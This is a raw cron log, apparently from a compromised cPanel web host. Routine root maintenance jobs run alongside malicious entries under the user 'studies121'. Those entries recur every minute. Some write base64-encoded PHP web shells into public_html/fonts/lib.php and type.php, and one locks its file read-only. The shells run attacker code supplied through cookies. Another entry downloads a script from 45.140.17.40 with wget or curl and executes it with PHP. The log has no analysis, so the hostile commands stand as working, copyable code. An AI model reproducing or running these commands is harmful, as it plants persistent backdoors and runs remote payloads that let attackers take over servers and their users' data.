Sep  7 23:09:01 ip-184-168-122-23 CROND[2581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:09:01 ip-184-168-122-23 CROND[2579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:09:01 ip-184-168-122-23 CROND[2583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 23:10:02 ip-184-168-122-23 CROND[2687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:10:02 ip-184-168-122-23 CROND[2688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:10:02 ip-184-168-122-23 CROND[2691]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:10:02 ip-184-168-122-23 CROND[2694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:10:02 ip-184-168-122-23 CROND[2693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:10:02 ip-184-168-122-23 CROND[2697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:10:02 ip-184-168-122-23 CROND[2692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:10:02 ip-184-168-122-23 CROND[2696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:11:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:11:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:11:01 ip-184-168-122-23 CROND[2784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:11:01 ip-184-168-122-23 CROND[2786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:12:01 ip-184-168-122-23 CROND[2861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:12:01 ip-184-168-122-23 CROND[2865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:12:01 ip-184-168-122-23 CROND[2866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:12:01 ip-184-168-122-23 CROND[2863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:12:01 ip-184-168-122-23 CROND[2864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:13:02 ip-184-168-122-23 CROND[3063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:13:02 ip-184-168-122-23 CROND[3064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:13:02 ip-184-168-122-23 CROND[3065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:13:02 ip-184-168-122-23 CROND[3066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:14:01 ip-184-168-122-23 CROND[3181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:14:01 ip-184-168-122-23 CROND[3183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:14:01 ip-184-168-122-23 CROND[3185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:14:01 ip-184-168-122-23 CROND[3182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:14:01 ip-184-168-122-23 CROND[3184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:15:01 ip-184-168-122-23 CROND[3289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:15:01 ip-184-168-122-23 CROND[3291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:15:01 ip-184-168-122-23 CROND[3290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:15:01 ip-184-168-122-23 CROND[3293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:15:01 ip-184-168-122-23 CROND[3294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:15:01 ip-184-168-122-23 CROND[3292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:16:01 ip-184-168-122-23 CROND[3416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:16:01 ip-184-168-122-23 CROND[3419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:16:01 ip-184-168-122-23 CROND[3418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:16:01 ip-184-168-122-23 CROND[3420]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:16:01 ip-184-168-122-23 CROND[3421]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:16:01 ip-184-168-122-23 CROND[3422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:17:01 ip-184-168-122-23 CROND[3513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:17:01 ip-184-168-122-23 CROND[3514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:17:01 ip-184-168-122-23 CROND[3515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:17:01 ip-184-168-122-23 CROND[3516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:18:01 ip-184-168-122-23 CROND[3683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:18:01 ip-184-168-122-23 CROND[3684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:18:01 ip-184-168-122-23 CROND[3686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:18:01 ip-184-168-122-23 CROND[3682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:18:01 ip-184-168-122-23 CROND[3685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:19:01 ip-184-168-122-23 CROND[3765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:19:01 ip-184-168-122-23 CROND[3766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:19:01 ip-184-168-122-23 CROND[3767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:19:01 ip-184-168-122-23 CROND[3768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:20:01 ip-184-168-122-23 CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 23:20:01 ip-184-168-122-23 CROND[3859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:20:01 ip-184-168-122-23 CROND[3861]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:21:01 ip-184-168-122-23 CROND[3953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 23:21:01 ip-184-168-122-23 CROND[3955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:21:01 ip-184-168-122-23 CROND[3957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
